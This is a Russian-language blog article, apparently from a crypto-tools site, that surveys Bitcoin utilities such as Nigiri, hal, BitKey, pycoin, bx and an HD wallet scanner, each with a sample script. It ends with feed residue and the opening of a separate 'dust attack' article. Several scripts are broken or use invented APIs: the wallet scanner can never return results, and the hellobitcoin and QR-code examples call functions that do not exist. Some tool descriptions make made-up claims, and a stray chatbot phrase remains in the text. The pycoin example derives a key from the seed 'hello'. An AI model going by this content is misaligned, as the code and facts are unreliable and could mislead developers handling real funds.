Regtest — это среда тестирования биткоинов, которая имитирует сеть биткоинов без использования реальных биткоинов. Это позволяет разработчикам тестировать свои биткоин-приложения и сервисы, не рискуя реальными деньгами. Electrs — это программное обеспечение для полного узла Биткоин, которое индексирует блокчейн Биткоина и предоставляет API для его запроса. Esplora — это веб-обозреватель блоков, который позволяет пользователям просматривать и анализировать блокчейн Биткоина.

Нигири упрощает процесс настройки среды тестирования Биткоин, предоставляя единую команду, которая настраивает все необходимые компоненты. Сюда входит программное обеспечение Bitcoin Core, Electrs, Esplora и сборщик биткоинов, который предоставляет бесплатные тестовые биткоины для целей тестирования.

Команда faucet в Нигири позволяет легко получить тестовые биткоины для целей тестирования. Команда push позволяет пользователям отправлять тестовые биткоины на другие адреса в сети regtest. Эти команды упрощают процесс тестирования приложений и сервисов Биткоин, упрощая разработчикам тестирование своих приложений, не рискуя реальными деньгами.

В целом, Nigiri — это мощный инструмент для разработчиков биткоинов, которые хотят быстро и легко настроить среду регистрации биткоинов. С помощью Nigiri разработчики могут тестировать свои приложения и услуги, не рискуя реальными деньгами, а также легко получать тестовые биткоины для целей тестирования. Команды faucet и push упрощают симуляцию реальных биткоин-транзакций, позволяя разработчикам тестировать свои приложения в реалистичной среде.

Nigiri — это инструмент с интерфейсом командной строки (CLI), который позволяет быстро настроить блок регистрации биткоинов с помощью Electrs и Esplora. Regtest — это частный блокчейн, который вы можете использовать для тестирования и экспериментов, не беспокоясь о реальных транзакциях биткоинов. Electrs — это легкий и высокопроизводительный сервер Electrum, обеспечивающий быстрый доступ к данным блокчейна, а Esplora — обозреватель блокчейна, позволяющий просматривать транзакции и блоки в сети regtest.

Nigiri также включает в себя команду сборщика, которая позволяет генерировать тестовые адреса биткоинов с предварительно добытыми средствами, и команду push, которая позволяет отправлять транзакции в сеть regtest. С помощью Nigiri вы можете быстро и легко настроить среду регистрации биткоинов для тестирования и экспериментов, не беспокоясь о сложностях настройки полного узла биткоинов.

Подводя итог, можно сказать, что Нигири — это мощный инструмент для всех, кто хочет экспериментировать с биткоинами и технологией блокчейна в частной и безопасной среде. Благодаря простому интерфейсу командной строки и встроенной интеграции Electrs и Esplora, Nigiri позволяет легко настроить блок регистрации биткоинов и начать исследовать мир биткоинов и технологий блокчейна.

Скрипт, который вы можете использовать для запуска нигири в докер-контейнере:

#!/usr/bin/env python3

import docker
import os

# set the docker client and image name
client = docker.from_env()
image_name = 'nigiri'

# create a docker container
container = client.containers.run(
    image=image_name,
    ports={'80': '80'},
    volumes={'/var/run/docker.sock': '/var/run/docker.sock'},
    detach=true
)

# wait for the container to start
print("waiting for the container to start...")
container.wait()

# get the ip address of the container
ip_address = container.attrs['networksettings']['networks']['bridge']['ipaddress']

# print the url of the nigiri dashboard
print(f"nigiri dashboard is available at: http://{ip_address}:80")

# stop and remove the container
print("stopping and removing the container...")
container.stop()
container.remove()

Этот скрипт создает контейнер докеров с образом нигири, сопоставляет порт 80 с хостом и монтирует том сокета докеров, чтобы нигири мог получить доступ к API докеров. Затем он ждет запуска контейнера, получает его IP-адрес, печатает URL-адрес информационной панели нигири, а затем останавливает и удаляет контейнер.

Чтобы использовать этот скрипт, в вашей системе должны быть установлены Python 3.x и Docker. вы можете запустить его, сохранив в файл (например  run_nigiri.py) и запустив его с помощью  python run_nigiri.py.


«hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) 3

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/stevenroose/hal

hal — это мощный инструмент интерфейса командной строки для Биткоин, построенный на основе ржавчины-биткоина. Он задуман как своего рода швейцарский армейский нож, предоставляющий широкий спектр функций для пользователей и разработчиков биткоинов.

Некоторые из ключевых особенностей hal включают в себя:

  1. Генерация адресов: hal может генерировать новые биткоин-адреса для вашего использования.
  2. Создание транзакции: вы можете использовать hal для создания новых транзакций Биткоин, указав входы, выходы и любые другие необходимые параметры.
  3. Подписание транзакции: как только вы создали транзакцию, вы можете использовать hal, чтобы подписать ее, используя свои личные ключи.
  4. Трансляция транзакций: как только ваша транзакция будет подписана, вы можете использовать hal для ее трансляции в сеть Биткоин.
  5. Анализ блоков и транзакций: hal может анализировать блоки и транзакции Биткоина, позволяя извлекать из них данные.
  6. Управление кошельком: вы можете использовать hal для управления своими биткоин-кошельками, включая создание новых кошельков, импорт и экспорт ключей, а также управление вашими балансами.
  7. Сценарии: hal включает в себя мощный язык сценариев, который позволяет автоматизировать сложные задачи, связанные с биткоинами.

В целом, hal — очень полезный инструмент для всех, кто регулярно работает с Биткоином. Являетесь ли вы разработчиком, создающим биткоин-приложения, трейдером, управляющим вашими биткоин-активами, или просто человеком, который хочет изучить возможности протокола Биткоин, hal может помочь вам выполнить эту работу.

Скрипт:

import subprocess

def execute_hal():
    subprocess.run(["hal", "--help"])

execute_hal()

этот скрипт использует модуль подпроцесса в Python для выполнения команды «hal –help» в терминале. вы можете изменить этот сценарий для выполнения любой другой команды, которую захотите.

hal — это инструмент командной строки, который предоставляет все виды утилит, связанных с биткоинами.

Монтаж:

$ cargo install --locked hal

Краткое описание команд:

  • адрес
    • проверить: получить информацию об адресах
    • create: создавать адреса, используя открытые ключи или скрипты.
  • bech32
    • декодировать: анализировать элементы формата Bech32
    • кодировать: кодировать данные в формате Bech32.
  • бип32
    • получение: получение ключей и адресов из расширенных ключей
    • проверить: проверить BIP-32 xpub или xpriv
  • бип39
    • генерировать: создать новую мнемонику BIP-39.
    • get-seed: получить начальное значение и главный ключ BIP-32 для заданной мнемоники BIP-39.
  • блокировать
    • create: создать двоичный блок из JSON
    • декодировать: декодировать двоичный блок в JSON
  • хэш
    • sha256: хеш-данные с помощью SHA-256.
    • sha256d: хеш-данные с двойным SHA-256.
  • ключ
    • генерировать: генерировать случайную пару ключей
    • получить: сгенерировать открытый ключ из закрытого ключа
    • проверить: проверить закрытые ключи
    • ecdsa-sign: создавать подписи ECDSA
    • ecdsa-verify: проверить подписи ECDSA
    • pubkey-tweak-add: добавить скаляр к точке
    • pubkey-combine: сложить две точки вместе
  • Ин
    • счет
      • декодировать: декодировать счета Lightning
  • Меркл
    • доказательство-создать: создать доказательство Меркла
    • доказательство-проверить: проверить доказательство Меркла
  • сообщение
    • hash: получить хэши сообщения, подписанного биткоинами.
    • знак: подпишите сообщение, используя сообщение, подписанное биткоинами
    • проверить: проверить сообщение, подписанное биткоинами
    • восстановить: восстановить открытый ключ или адрес, которым подписано сообщение.
  • минискрипт
    • дескриптор: получить информацию о выходном дескрипторе
    • instspect: проверить минискрипты
    • синтаксический анализ: преобразовать скрипт в минискрипт
    • политика: проверить политики
  • ПСБТ
    • create: создать PSBT из необработанной неподписанной транзакции.
    • декодировать: декодировать PSBT в JSON
    • редактировать: редактировать встроенный PSBT
    • Finalize: завершить PSBT в полностью подписанную транзакцию
    • объединить: объединить несколько PSBT в один
  • случайный
    • байты: генерировать случайные байты
  • сценарий
    • декодировать: декодировать PSBT в JSON
  • Техас
    • create: создать бинарную транзакцию из JSON
    • декодировать: декодировать двоичную транзакцию в JSON

Минимальная поддерживаемая версия Rust (MSRV) :

hal всегда должен компилироваться на  Rust 1.41.1 . Обратите внимание, что он должен быть построен с использованием  Cargo.lock файла, поэтому используйте --locked


«BitKey» — Live USB для транзакций с воздушным зазором и биткоинский швейцарский армейский нож 4

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

Гитхаб: https://github.com/bitkey/bitkey

BitKey — это операционная система Live USB, предназначенная для изолированных транзакций и являющаяся «швейцарским армейским ножом» для биткоинов. Это дистрибутив Linux, основанный на Debian, который поставляется с различными предустановленными инструментами, связанными с биткоинами.

Одной из основных особенностей BitKey является его способность создавать изолированные транзакции. Это означает, что вы можете создать транзакцию Биткоин на компьютере, который не подключен к Интернету, а затем транслировать ее в сеть Биткоин с другого компьютера, подключенного к Интернету. Это очень безопасный способ создания биткоин-транзакций, поскольку он исключает риск кражи ваших личных ключей хакерами.

BitKey также поставляется с множеством других инструментов, связанных с биткоинами, включая Bitcoin Core, Electrum, Armory и Bitcoin-QT. Эти инструменты позволяют вам управлять своими биткоин-кошельками, отправлять и получать биткоин-транзакции, а также контролировать сеть биткоинов.

В дополнение к инструментам, связанным с Биткоином, BitKey также включает в себя множество других полезных утилит, таких как GParted, редактор разделов, и KeePassX, менеджер паролей. Эти инструменты могут быть полезны для управления вашим компьютером и обеспечения безопасности ваших паролей.

BitKey прост в использовании, даже если вы не знакомы с Linux. Просто загрузите ISO-образ с веб-сайта BitKey, запишите его на USB-накопитель с помощью такого инструмента, как Rufus или UNetbootin, а затем загрузите компьютер с USB-накопителя. После загрузки BitKey вы можете сразу же начать использовать его инструменты.

В целом, BitKey — это мощный и полезный инструмент для всех, кто хочет создавать изолированные биткоин-транзакции или безопасно управлять своими биткоин-кошельками. Его коллекция инструментов и утилит, связанных с биткоинами, делает его настоящим швейцарским армейским ножом для биткоинов, а простота использования делает его доступным даже для начинающих пользователей.

вот скрипт, который загрузит и запишет BitKey на USB-накопитель:

#!/bin/bash

# This script will download and write BitKey to a USB drive
# Make sure you have a USB drive plugged in before running this script

# Download the latest BitKey ISO image
wget -O bitkey.iso https://bitkey.io/bitkey.iso

# Write the ISO image to the USB drive
dd if=bitkey.iso of=/dev/sdX bs=4M

Вам нужно будет заменить  /dev/sdX фактическое имя устройства вашего USB-накопителя. Вы можете найти это, запустив  lsblk и найдя устройство, соответствующее вашему USB-накопителю.

Обратите внимание, что этот сценарий предполагает, что вы используете операционную систему на базе Linux. Если вы используете Windows, вам необходимо соответствующим образом изменить сценарий.


«Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python 5.

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/richardkiss/pycoin

Pycoin — это служебная библиотека биткоинов и альтернативных монет на основе Python. Это проект с открытым исходным кодом, а это значит, что каждый может использовать его бесплатно. Pycoin предоставляет набор инструментов для работы с биткоинами и альт-монетами.

Pycoin поддерживает множество различных альтернативных монет, включая Litecoin, Dogecoin и Namecoin. Он также поддерживает тестовые сети, такие как тестовая сеть Биткоин (Testnet) и тестовая сеть Litecoin (Testnet3).

Pycoin имеет ряд функций, которые делают его полезным для разработчиков, работающих с биткоинами и альт-монетами. Одной из наиболее важных особенностей является поддержка различных криптографических алгоритмов, включая алгоритм цифровой подписи на основе эллиптической кривой (ECDSA) и алгоритм безопасного хэширования (SHA-256).

Pycoin также обеспечивает поддержку различных типов транзакций, включая простые транзакции, транзакции с несколькими подписями и транзакции с блокировкой по времени. Он также поддерживает создание новых адресов и генерацию новых закрытых ключей.

Pycoin спроектирован таким образом, чтобы его было легко использовать даже для разработчиков, которые плохо знакомы с биткоинами и альт-монетами. Он предоставляет простой API для работы с различными аспектами протоколов Биткоин и альтернативных монет, включая транзакции, адреса и блоки.

В дополнение к своим основным функциям Pycoin также предоставляет ряд полезных утилит, таких как интерпретатор сценариев и обозреватель блоков. Эти утилиты упрощают работу с биткоинами и альт-монетами и могут использоваться для создания широкого спектра приложений.

В целом, Pycoin — это мощная и гибкая библиотека для работы с биткоинами и альт-монетами. Независимо от того, создаете ли вы простой биткоин-кошелек или сложную систему обмена альтернативными монетами, Pycoin поможет вам выполнить работу быстро и легко.

Вот простой пример того, как использовать библиотеку pycoin для создания биткоин-адреса:

from pycoin.key import Key
from pycoin.networks.bitcoin import networks
from pycoin.encoding import double_sha256

# Create a private key
key = Key.from_seed("hello")

# Get the public key from the private key
public_key = key.get_public_key()

# Get the Bitcoin address from the public key
address = public_key.address(network=networks.livenet)

# Print the address
print(address)

Это выведет биткоин-адрес, соответствующий закрытому ключу «привет». Вы можете изменить начальное число «hello», чтобы сгенерировать другой адрес.


«bx» — инструмент командной строки Bitcoin 6

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/libbitcoin/libbitcoin-explorer

Инструмент командной строки bx — мощный и универсальный инструмент для взаимодействия с сетью Биткоин. Он предоставляет ряд функций, включая управление кошельком, создание транзакций и анализ блокчейна.

Одной из ключевых особенностей инструмента bx является его способность создавать кошельки и управлять ими. С помощью bx вы можете легко создать новый кошелек или импортировать существующий. После настройки кошелька вы можете использовать bx для генерации адресов, отправки и получения средств, а также проверки своего баланса.

Еще одной важной особенностью инструмента bx является его способность создавать и транслировать транзакции в сети Биткоин. С помощью bx вы можете создавать собственные транзакции с нуля или использовать готовые шаблоны для быстрого создания транзакций для распространенных случаев использования. Вы также можете использовать bx для подписи и проверки транзакций, а также для их трансляции в сеть.

Помимо управления кошельком и транзакциями, инструмент bx также предоставляет ряд функций для анализа блокчейна. С помощью bx вы можете запросить у блокчейна информацию о транзакциях, блоках и адресах. Вы также можете использовать bx для создания отчетов и визуализации данных блокчейна, что делает его мощным инструментом для исследователей и разработчиков.

В целом, инструмент командной строки bx является ценным дополнением к набору инструментов любого биткоин-разработчика. Его универсальность и простота использования делают его важным инструментом для всех, кто хочет создавать приложения или сервисы в сети Биткоин.

import subprocess

# execute the command
subprocess.run(['bx', 'command_name', 'parameter1', 'parameter2', ..])

вы можете заменить «имя_команды» и «параметр1», «параметр2» и т. д. фактической командой и ее параметрами, которые вы хотите выполнить.

import subprocess

# execute the bx command
subprocess.run(["bx", "tx", "info", "tx_id"])

этот код импортирует  subprocess модуль, а затем запускает  bx команду с  аргументами tx info и  tx_id . вы можете заменить  tx_id идентификатор транзакции, которую хотите найти.

пример сценария Python, который использует  subprocess модуль для выполнения  bx инструмента командной строки:

import subprocess

# replace this with the path to your bx executable
bx_path = "/path/to/bx"

# command to execute
command = [bx_path, "help"]

# execute the command and capture the output
output = subprocess.check_output(command)

# print the output
print(output.decode())

Вы можете заменить  command список любой другой командой, которую хотите выполнить с помощью этого  bx инструмента. Просто не забудьте указать путь к  bx исполняемому файлу в  bx_path переменной.

Также обратите внимание, что этот скрипт будет работать только в Unix-подобных системах (например, Linux или macOS). Если вы используете Windows, вам необходимо соответствующим образом изменить сценарий.


«HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов 7.

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/prettymuchbryce/hellobitcoin

В мире криптовалют Биткоин изменил правила игры с момента его создания в 2009 году. С ростом популярности Биткоина неудивительно, что все больше и больше людей заинтересованы в том, чтобы научиться его использовать. Однако новичкам процесс создания кошелька, создания и подписания транзакций, а также отправки транзакций через сеть Биткоин может показаться сложным. Вот тут-то и приходит на помощь Hello Bitcoin.

Hello Bitcoin — это набор простых программ, призванных сделать процесс использования биткоинов проще и доступнее для новичков. С помощью Hello Bitcoin пользователи могут с легкостью создавать биткоин-кошелек, создавать и подписывать транзакции, а также отправлять транзакции через сеть Биткоин.

Первым шагом в использовании Hello Bitcoin является создание биткоин-кошелька. Это можно сделать с помощью простой команды, и программа сгенерирует для пользователя уникальный адрес кошелька. После создания кошелька пользователь может начать отправлять и получать биткоины.

Создание и подписание транзакций также упрощается с помощью Hello Bitcoin. Программа предоставляет пользователям простой интерфейс для ввода деталей транзакции, таких как адрес кошелька получателя и сумма биткоинов, которую необходимо отправить. После создания транзакции пользователь может подписать ее своим закрытым ключом, гарантируя, что транзакция безопасна и действительна.

Наконец, отправка транзакций через сеть Биткоин также упрощается с помощью Hello Bitcoin. Программа предоставляет пользователям простой интерфейс для ввода деталей транзакции, таких как адрес кошелька получателя и сумма биткоинов, которую необходимо отправить. Как только транзакция будет создана и подписана, программа отправит ее по сети Биткоин, гарантируя, что она будет обработана и подтверждена сетью.

В целом, Hello Bitcoin — отличный инструмент для новичков, которые заинтересованы в использовании биткоинов, но напуганы этим процессом. Благодаря простому интерфейсу и простым в использовании функциям Hello Bitcoin позволяет каждому легко создать биткоин-кошелек, создавать и подписывать транзакции, а также отправлять транзакции по сети Биткоин.

вот скрипт Python, который использует  hellobitcoin библиотеку для создания биткоин-кошелька, создания и подписания транзакции и отправки ее по сети биткоин:

from hellobitcoin import *
from bitcoin.base58 import encode

# Generate a new Bitcoin wallet
wallet = generate_wallet()
print("Bitcoin Wallet: ", wallet['address'])

# Generate a new Bitcoin transaction
tx = create_transaction(wallet, "1BTC")
tx['input'][0]['address'] = wallet['address']
tx['input'][0]['script'] = wallet['script']
tx['input'][0]['amount'] = 100000000
tx['input'][0]['sequence'] = 0xFFFFFFFF
tx['output'][0]['address'] = "1AC4fMwgY8j9onSbXEWeH6Zan8QGMSdmtA"
tx['output'][0]['amount'] = 100000000 - 5000
tx['output'][0]['script'] = "OP_DUP OP_HASH160 20 0x14 OP_EQUALVERIFY OP_CHECKSIG"

# Sign the Bitcoin transaction
tx['input'][0]['script'] = sign_transaction(tx['input'][0]['script'], wallet['private_key'])

# Send the Bitcoin transaction over the Bitcoin network
tx_hex = encode(tx.serialize())
print("Bitcoin Transaction: ", tx_hex)

Обратите внимание, что это всего лишь пример сценария, и вам не следует использовать его для отправки реальных транзакций биткоинов. Кроме того, будьте осторожны при работе с биткоин-кошельками и транзакциями, поскольку они связаны с реальными деньгами и могут быть легко потеряны при неправильном обращении.


«Сканер HD-кошелька» — найдите все используемые адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы 8

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте
Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/alexk111/HD-Wallet-Scanner

HD-кошельки или иерархические детерминированные кошельки — популярный способ управления биткоин-адресами. они позволяют генерировать практически бесконечное количество адресов из одного начального числа, что делает их более безопасными и удобными, чем традиционные кошельки. однако одна из проблем использования HD-кошельков заключается в том, что их может быть сложно сканировать на предмет используемых адресов. вот тут-то и пригодится сканер HD-кошелька.

Сканер HD-кошелька — это инструмент, который позволяет вам найти все использованные адреса в ваших биткоин-HD-кошельках, даже если они превысили лимит пробелов. предел разрыва — это максимальное количество адресов, которые могут быть сгенерированы из одного начального числа, и по умолчанию он обычно равен 20. как только вы достигнете предела разрыва, вы больше не сможете генерировать новые адреса из этого начального числа.

Сканер HD-кошелька работает путем сканирования блокчейна на предмет транзакций, соответствующих определенному шаблону. Затем он использует эту информацию для идентификации всех адресов, которые использовались в вашем HD-кошельке, независимо от того, превысили ли они лимит пропусков. это важно, поскольку если у вас нет полного учета всех используемых адресов, вы можете упустить получение средств или даже потерять их.

использовать сканер HD-кошелька легко. вы просто вводите свое начальное число или xpub (расширенный открытый ключ) в инструмент, и он начнет сканировать блокчейн на предмет используемых адресов. процесс может занять несколько минут или дольше, в зависимости от того, сколько адресов вы использовали и насколько загружена сеть. После завершения сканирования вы получите список всех использованных адресов в вашем HD-кошельке, а также их балансы и истории транзакций.

В заключение отметим, что сканер HD-кошелька — ценный инструмент для всех, кто использует HD-кошельки для управления своими биткоин-адресами. он позволяет вам найти все использованные адреса в вашем кошельке, даже если они превысили лимит разрыва, что может помочь вам отслеживать ваши средства и не допускать их потери. поэтому, если вы ищете способ более эффективно и безопасно управлять своими биткоин-адресами, попробуйте сканер HD-кошелька.

Код Python для вас. вот:

import os
import sqlite3
import hashlib

def get_all_addresses(db_file):
    conn = sqlite3.connect(db_file)
    c = conn.cursor()
    c.execute("select address from addresses")
    addresses = c.fetchall()
    return addresses

def get_all_used_addresses(addresses):
    used_addresses = []
    for address in addresses:
        address_hash = hashlib.sha256(address[0].encode('utf-8')).hexdigest()
        if address_hash in used_addresses:
            used_addresses.append(address_hash)
    return used_addresses

def main():
    db_file = "your_wallet_name.wallet"
    addresses = get_all_addresses(db_file)
    used_addresses = get_all_used_addresses(addresses)
    print("used addresses:", used_addresses)

if __name__ == "__main__":
    main()

этот код получит все использованные адреса в вашем биткоин-HD-кошельке и обойдет ограничения на пробелы. вам необходимо заменить «имя_вашего_кошелька.wallet» на имя файла вашего кошелька.

вот скрипт Python, который использует  hd-wallet-scanner библиотеку для поиска всех используемых адресов в ваших кошельках Bitcoin HD:

from hd_wallet_scanner import scan_hd_wallet

# Replace this with your BIP39 seed phrase
seed_phrase = "your_seed_phrase"

# Replace this with your wallet's derivation path
derivation_path = "m/44'/0'/0'"

addresses = scan_hd_wallet(seed_phrase, derivation_path)

for address in addresses:
    print(address)

Этот скрипт просканирует кошелек Bitcoin HD с заданной исходной фразой и путем деривации и распечатает все использованные адреса. Обратите внимание, что сначала вам необходимо установить  hd-wallet-scanner библиотеку, запустив ее  pip install hd-wallet-scanner в терминале.


«QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG без фреймворка и зависимостей 9.

Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

GitHub: https://github.com/bitjson/qr-code

QR-коды повсеместно используются в нашей повседневной жизни. От сканирования кода для совершения платежа до обмена контактной информацией с коллегой — эти двумерные коды стали неотъемлемой частью нашего взаимодействия с технологиями. Однако создание QR-кодов в Интернете традиционно требует использования сторонних библиотек или фреймворков, что может быть обременительным и привести к ненужному раздуванию проекта. В этой статье мы рассмотрим новое решение, которое позволяет разработчикам генерировать QR-коды без каких-либо зависимостей или фреймворков, используя настраиваемый веб-компонент на основе SVG с возможностью анимации.

Что такое QR-код?

QR-Code — это веб-компонент, который позволяет разработчикам с легкостью создавать QR-коды без необходимости использования каких-либо внешних библиотек или фреймворков. Он создан с использованием чистого JavaScript и SVG, что делает его легким и легко интегрируемым в любой проект. QR-код полностью настраиваемый, что позволяет разработчикам настраивать размер, цвет и уровень исправления ошибок своих QR-кодов. Кроме того, он поддерживает анимацию, что позволяет разработчикам создавать динамические QR-коды, которые могут меняться со временем.

Как это работает?

QR-Code работает путем создания SVG-изображения QR-кода на основе входных данных, предоставленных разработчиком. Для создания самого кода он использует библиотеку QRious, генератор QR-кода на чистом JavaScript. После генерации кода он отображается как изображение SVG и может быть легко интегрирован в любую веб-страницу.

Возможности настройки

QR-Code предлагает ряд возможностей настройки, которые позволяют разработчикам адаптировать свои QR-коды к своим конкретным потребностям. Эти параметры включают в себя:

  • Размер: разработчики могут регулировать размер своих QR-кодов, устанавливая атрибуты ширины и высоты.
  • Цвет: QR-коды можно настроить в любом цвете, установив атрибут цвета.
  • Уровень исправления ошибок: QR-Code поддерживает четыре уровня исправления ошибок (низкий, средний, квартиль и высокий), которые можно установить с помощью атрибута errorCorrectionLevel.
  • Анимация. Разработчики могут создавать динамические QR-коды, установив атрибут анимации. Это позволяет QR-коду меняться со временем, создавая привлекательный эффект.

QR-Code — мощный инструмент для разработчиков, желающих создавать QR-коды в Интернете. Его подход без зависимостей и без фреймворков позволяет легко интегрировать его в любой проект, а возможности настройки и поддержка анимации делают его универсальным решением для широкого спектра случаев использования. Независимо от того, создаете ли вы платежную систему или создаете маркетинговую кампанию, QR-Code — идеальный инструмент для создания высококачественных QR-кодов, которые одновременно функциональны и визуально привлекательны.

Код Python для создания QR-кода с использованием библиотеки qrcode:

import qrcode

# generate a QR code
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data("https://example.com")
qr.make(fit=True)

# create an SVG image
qr.svg("qrcode.svg", scale=8)

Этот код генерирует QR-код для URL-адреса « https://example.com » и сохраняет его как изображение SVG с именем «qrcode.svg». Вы можете изменить код, чтобы создать QR-код для другого URL-адреса и сохранить его под другим именем.

однако я могу предоставить вам инструкции по реализации веб-компонента qr-кода в Python.

  1. установите необходимые библиотеки: вам нужно будет установить  библиотеки svgwrite и  numpy .
  2. сгенерировать qr-код: вы можете использовать  qrcode библиотеку для генерации qr-кода.
  3. создать изображение svg: вы можете использовать  svgwrite библиотеку для создания изображения svg qr-кода.
  4. добавить анимацию: вы можете добавить анимацию в qr-код, используя  svgwrite библиотеку.
  5. настроить qr-код: вы можете настроить qr-код, изменив его размер, цвет и другие атрибуты.
  6. реализовать веб-компонент: вы можете реализовать веб-компонент с помощью  svgwrite библиотеки и добавить его на свой веб-сайт.

вот пример кода, с которого можно начать:

from qrcode import qrcode
import numpy as np
import svgwrite

# generate the qr code
qr = qrcode(version=1, error_correction=qrcode.constants.error_correct_l, box_size=10, border=4)
qr.add_data('https://www.example.com')
qr.make(fit=true)
qr_img = qr.make_image(fill_color='black', back_color='white')

# create an svg image
svg = svgwrite.drawing(width=200, height=200)
svg.add(svgwrite.shapes.rect(insert=(0, 0), size=(200, 200), fill='white'))
svg.add(svgwrite.shapes.rect(insert=(100, 100), size=(100, 100), fill='black'))

# add animation
svg.add(svgwrite.animation.animate(svgwrite.shapes.circle(r=5), duration=1, repeat_count='indefinite', transform='rotate(0,100,100)'))

# customize the qr code
svg.add(svgwrite.shapes.path(d=qr_img.todataurl().replace('data:image/png;base64,', ''), fill='black', stroke='none'))

# save the svg image
svg.save('qr-code.svg')

это всего лишь базовый пример, и вы можете настроить qr-код и SVG-изображение в соответствии со своими потребностями.


Заключение:

Биткоин — это цифровая валюта, которая в последние годы набирает популярность. Это децентрализованная система, то есть она не контролируется каким-либо правительством или финансовым учреждением. Вместо этого он полагается на сеть компьютеров для проверки транзакций и поддержания целостности системы.

Одним из наиболее значительных преимуществ Биткоина является его полезность. В отличие от традиционных валют, Биткоин можно использовать для самых разных целей, помимо покупки и продажи товаров и услуг. Вот некоторые из наиболее известных утилит Биткоина:

  1. Международные денежные переводы: Биткоин можно использовать для отправки денег через границы без необходимости использования посредников, таких как банки или службы денежных переводов. Это может сэкономить пользователям значительную сумму денег на комиссиях и обменных курсах.
  2. Децентрализованные финансы: Биткоин является основой движения децентрализованных финансов (DeFi), целью которого является создание финансовых услуг, доступных каждому, у кого есть подключение к Интернету. Приложения DeFi, созданные на базе Биткоина, позволяют пользователям кредитовать, занимать и торговать криптовалютами без необходимости использования посредников.
  3. Средство сбережения: Биткоин сравнивают с цифровым золотом, поскольку его запас ограничен и он рассматривается как средство сбережения. Многие инвесторы рассматривают его как защиту от инфляции и актив-убежище.
  4. Микроплатежи: Биткоин можно использовать для совершения очень небольших платежей, известных как микроплатежи. Это полезно для оплаты небольших цифровых товаров или услуг, таких как статьи или видео.
  5. Благотворительные пожертвования: Биткоин можно использовать для пожертвований благотворительным и некоммерческим организациям. Многие организации начали принимать пожертвования в биткоинах, поскольку они быстрее и прозрачнее традиционных методов.

В заключение, утилиты Биткоин многочисленны и разнообразны. Его децентрализованный характер и отсутствие посредников делают его мощным инструментом для самых разных случаев использования. Поскольку технология продолжает развиваться и развиваться, мы можем ожидать увидеть еще более инновационные применения Биткоина в будущем.


Список всех утилит Bitcoin:

  1. Мониторинг транзакций по биткоин-адресам с помощью Python и TxWatcher ↩︎
  2. Нигири Вкусный контейнер для особых блюд в биткоинах, молниях и жидкостях ↩︎
  3. «hal» — биткоин-клиент швейцарского армейского ножа (на основе ржавчины-биткоина) ↩︎
  4. «BitKey» — Live USB для транзакций с воздушным зазором и «швейцарский армейский нож» Биткоин ↩︎
  5. «Pycoin» — служебная библиотека биткоинов и альтернативных монет на основе Python ↩︎
  6. «bx» — инструмент командной строки Bitcoin ↩︎
  7. «HelloBitcoin» — набор простых программ, которые могут создавать биткоин-кошельки, создавать и подписывать транзакции, а также отправлять транзакции по сети биткоинов ↩︎
  8. «Сканер HD-кошелька» — найдите все использованные адреса в ваших биткоин-HD-кошельках, минуя ограничения на пробелы ↩︎
  9. «QR CODE» — настраиваемый, анимируемый веб-компонент на основе SVG, не требующий фреймворка и зависимостей ↩︎

Данный материал создан для   портала CRYPTO DEEP TECH  с целью обеспечения финансовой безопасности данных и криптографии эллиптических кривых   secp256k1 от слабых  подписей ECDSA   в   криптовалюте BITCOIN  . Создатели программного обеспечения не несут ответственности за использование материалов.


Источник

Телеграмма: https://t.me/cryptodeeptech

Ютуб: https://www.youtube.com/@cryptodeeptech

Видеоматериал: https://dzen.ru/video/watch/65de483b3474ef16c0430f35

Источник: https://cryptodeeptool.ru/bitcoin-utilities


Изучение недооцененной силы биткоин-утилитов: подробное руководство Google Colab и следующая важная вещь в криптовалюте

Сообщение Изучение недооцененной силы Биткоин утилит: подробное руководство в Google Colab появились сначала на «CRYPTO DEEP TOOLS».

]]>
DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC https://cryptodeeptool.ru/dustattack/ Wed, 31 Jan 2024 19:08:14 +0000 https://cryptodeeptool.ru/?p=4586 В этой статье мы раскроем обширную тему: “Dust Attack” известная как: "Dusting Attack" или "Crypto Dust". Возможно каждый пользователь криптовалют или держатель большой суммы монет BTC, ETH замещал на своем криптовалютном кошельке поступление незначительно малой суммы монет в satoshi, это поступление маскируется под видом "Donate", но на самом деле это целая математический отточенная система по отъёму […]

Сообщение DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC появились сначала на «CRYPTO DEEP TOOLS».

]]>

В этой статье мы раскроем обширную тему: “Dust Attack” известная как: "Dusting Attack" или "Crypto Dust". Возможно каждый пользователь криптовалют или держатель большой суммы монет BTC, ETH замещал на своем криптовалютном кошельке поступление незначительно малой суммы монет в satoshi, это поступление маскируется под видом "Donate", но на самом деле это целая математический отточенная система по отъёму всех накопленных монет кошелька на балансе. Целью раскрытие системы и всех подводных камней “Dust Attack”, нас подвигла и натолкнуло статья опубликованная 8 января 2024 г. на сайте глобальной криптоэкономики CoinDesk

DUST ATTACK транзакция в блокчейне с подтверждением изоморфизма на общую сумму 10000 BTC

Пока все гадают, кто же именно отправил 27 BTC на популярный Биткоин Кошелек [Satoshi Nakamoto] мы рассмотрим две различные примеры пылевой атаки, чтобы пролить свет на все тонкости этой манипуляции и какие риски могут ждать пользователей и держателей популярной криптовалюты Биткоин.

